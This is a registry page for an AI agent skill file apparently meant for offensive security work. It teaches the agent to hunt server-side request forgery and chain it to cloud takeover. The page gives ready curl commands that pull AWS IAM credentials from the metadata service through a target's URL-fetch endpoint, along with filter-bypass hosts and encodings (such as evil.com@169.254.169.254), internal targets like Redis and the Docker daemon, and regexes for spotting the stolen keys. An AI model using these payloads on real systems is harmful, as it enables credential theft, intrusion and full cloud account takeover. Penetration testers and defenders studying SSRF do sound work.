Hunt Server-Side Request Forgery (CWE-918) through taint analysis from user-controlled URLs to HTTP client sinks. Covers cloud metadata pivoting, DNS rebinding, gopher smuggling, and the IMDSv1 → IAM role chain that turns SSRF into RCE.
66
80%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
Fix and improve this skill with Tessl
tessl review fix ./packages/decepticon/decepticon/skills/standard/analyst/ssrf/SKILL.mdSSRF is one of the highest-yield vuln classes for 0-day work because (a) it's often medium severity in isolation but chains to critical when it reaches cloud metadata, internal admin panels, or unprotected Redis/Elasticsearch, and (b) modern frameworks have dozens of bypass classes that scanners miss.
Look for any parameter that gets fed into an HTTP client:
requests.get(user_url), httpx.get, urllib.request.urlopen, aiohttp.getfetch(userUrl), axios.get, http.request, got, node-fetchHttpURLConnection, HttpClient.send, URL.openConnection, OkHttpClienthttp.Get(u), http.NewRequest, net.Dial("tcp", u)Net::HTTP.get, URI.open, Faraday.getfile_get_contents($url), curl_exec, fsockopenGrep patterns to run via bash:
semgrep --config p/ssrf /workspace/src --sarif -o /workspace/sem-ssrf.sarif
grep -rE 'requests\.get\(|httpx\.|urllib.*urlopen|fetch\(|axios\.|http\.Get\(|URL\(' /workspace/src| Sink | Impact |
|---|---|
http://169.254.169.254/ (AWS IMDS) | IAM role creds → full AWS takeover |
http://metadata.google.internal/ | GCP service-account token |
http://169.254.169.254/metadata/v1/ | Azure IMDS |
http://127.0.0.1:6379/ (Redis) | Unauthenticated RCE via Lua eval / cron |
http://127.0.0.1:9200/ | Elasticsearch data leak + RCE |
http://127.0.0.1:2375/ | Docker daemon — container escape |
gopher://, dict://, file:// | Protocol smuggling (SMTP, memcached) |
Internal *.svc.cluster.local | Kubernetes service mesh lateral |
[::1], [::ffff:127.0.0.1], [::]0x7f.0.0.1, 0177.0.0.1, 2130706433http://evil.com@169.254.169.254/,
http://169.254.169.254#.evil.com/urlparse check? Does it check .hostname (spoofable)
or the raw URL (safe)?allow_redirects=False in requests.kg_add_node(kind="vulnerability", ...).# AWS IMDSv1 leak — copy to clipboard after confirmation
curl -s "https://target.com/api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# → expect role name
curl -s "https://target.com/api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>"
# → expect {AccessKeyId, SecretAccessKey, Token}Success patterns for validate_finding:
AccessKeyIdSecretAccessKeyToken.*[A-Za-z0-9+/]{100,}Negative control:
https://example.com/Missing url, 400, example.com| Variant | CVSS vector | Score |
|---|---|---|
| Blind SSRF, external only | AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N | 5.3 |
| SSRF → internal services (no pivot) | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N | 7.5 |
| SSRF → cloud metadata → IAM credential | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H | 10.0 |
Once validated, add an enables edge from the SSRF vuln to the adjacent
IAM credential / Redis host / admin panel node. Weight 0.3 for trivial
IMDS chains, 0.6 for bypass-required variants. Then
plan_attack_chains(promote=True) to persist the complete chain.
0cf691e
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.